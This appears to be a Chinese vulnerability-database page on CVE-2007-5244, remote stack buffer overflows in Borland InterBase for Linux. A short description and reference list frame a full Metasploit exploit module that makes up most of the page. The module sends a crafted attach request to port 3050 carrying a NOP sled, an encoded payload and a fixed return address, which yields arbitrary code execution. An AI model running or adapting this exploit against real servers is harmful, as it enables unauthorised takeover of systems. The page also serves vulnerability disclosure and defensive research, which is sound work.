Borland InterBase数据库多个远程栈缓冲区溢出漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1113729 漏洞类型 缓冲区溢出
发布时间 2007-10-03 更新时间 2007-10-26
CVE编号 CVE-2007-5244 CNNVD-ID CNNVD-200710-104
漏洞平台 Linux CVSS评分 9.3
|漏洞来源
https://www.exploit-db.com/exploits/10019
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200710-104
|漏洞详情
BorlandInterBase跨平台的高性能商业数据库。BorlandInterBaseLI8.0.0.53到8.1.0.253forLinux在处理用户数据时存在多个缓冲区溢出漏洞,远程攻击者可能利用这些漏洞控制服务器。BorlandInterBase的多个函数没有验证用户数据便将其拷贝到了栈缓冲区,如果远程攻击者在TCP3050端口向SVC_attach或INET_connect函数发送了超长的serviceattach请求,或向isc_create_database或jrd8_create_database函数发送了超长的create请求,或向open_marker_file(仅限UNIX平台)、isc_attach_database或PWD_db_aliased函数发送了超长的attach请求,或向jrd8_attach_database或expand_filename2函数发送了超长请求的话,就可以触发多个栈溢出,导致执行任意指令。
|漏洞EXP
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'		=> 'Borland InterBase open_marker_file() Buffer Overflow',
			'Description'	=> %q{
				This module exploits a stack overflow in Borland InterBase
				by sending a specially crafted attach request.
			},
			'Version'	=> '$Revision$',
			'Author'	=>
				[
					'ramon',
					'Adriano Lima <adriano@risesecurity.org>',
				],
			'Arch'		=> ARCH_X86,
			'Platform'	=> 'linux',
			'References'	=>
				[
					[ 'CVE', '2007-5244' ],
					[ 'OSVDB', '38610' ],
					[ 'BID', '25917' ],
					[ 'URL', 'http://www.risesecurity.org/advisories/RISE-2007002.txt' ],
				],
			'Privileged'	=> true,
			'License'	=> MSF_LICENSE,
			'Payload'	=>
				{
					'Space' => 512,
					'BadChars' => "\x00\x2f\x3a\x40\x5c",
				},
			'Targets'	=>
				[
					# 0x0804cbe4 pop esi; pop ebp; ret
					[
						'Borland InterBase LI-V8.0.0.53 LI-V8.0.0.54 LI-V8.1.0.253',
						{ 'Ret' => 0x0804cbe4 }
					],
				],
			'DefaultTarget'	=> 0
		))

		register_options(
			[
				Opt::RPORT(3050)
			],
			self.class
		)

	end

	def exploit

		connect

		# Attach database
		op_attach = 19

		length = 1056
		remainder = length.remainder(4)
		padding = 0

		if remainder > 0
			padding = (4 - remainder)
		end

		buf = ''

		# Operation/packet type
		buf << [op_attach].pack('N')

		# Id
		buf << [0].pack('N')

		# Length
		buf << [length].pack('N')

		# It will return into this nop block
		buf << make_nops(length - payload.encoded.length - 4)

		# Payload
		buf << payload.encoded

		# Target
		buf << [target.ret].pack('V')

		# Padding
		buf << "\x00" * padding

		# Database parameter block

		# Length
		buf << [1024].pack('N')

		# Random alpha data
		buf << rand_text_alpha(1024)

		sock.put(buf)

		handler

	end

end
|参考资料

来源:BID
名称:25917
链接:http://www.securityfocus.com/bid/25917
来源:MISC
链接:http://risesecurity.org/exploit/11/
来源:MISC
链接:http://risesecurity.org/blog/entry/3/
来源:MISC
链接:http://risesecurity.org/advisory/RISE-2007002/
来源:OSVDB
名称:38610
链接:http://osvdb.org/38610
来源:XF
名称:borland-multiple-functions-bo(36956)
链接:http://xforce.iss.net/xforce/xfdb/36956
来源:SECTRACK
名称:1018772
链接:http://www.securitytracker.com/id?1018772
来源:VUPEN
名称:ADV-2007-3381
链接:http://www.frsirt.com/english/advisories/2007/3381
来源:SECUNIA
名称:27058
链接:http://secunia.com/advisories/27058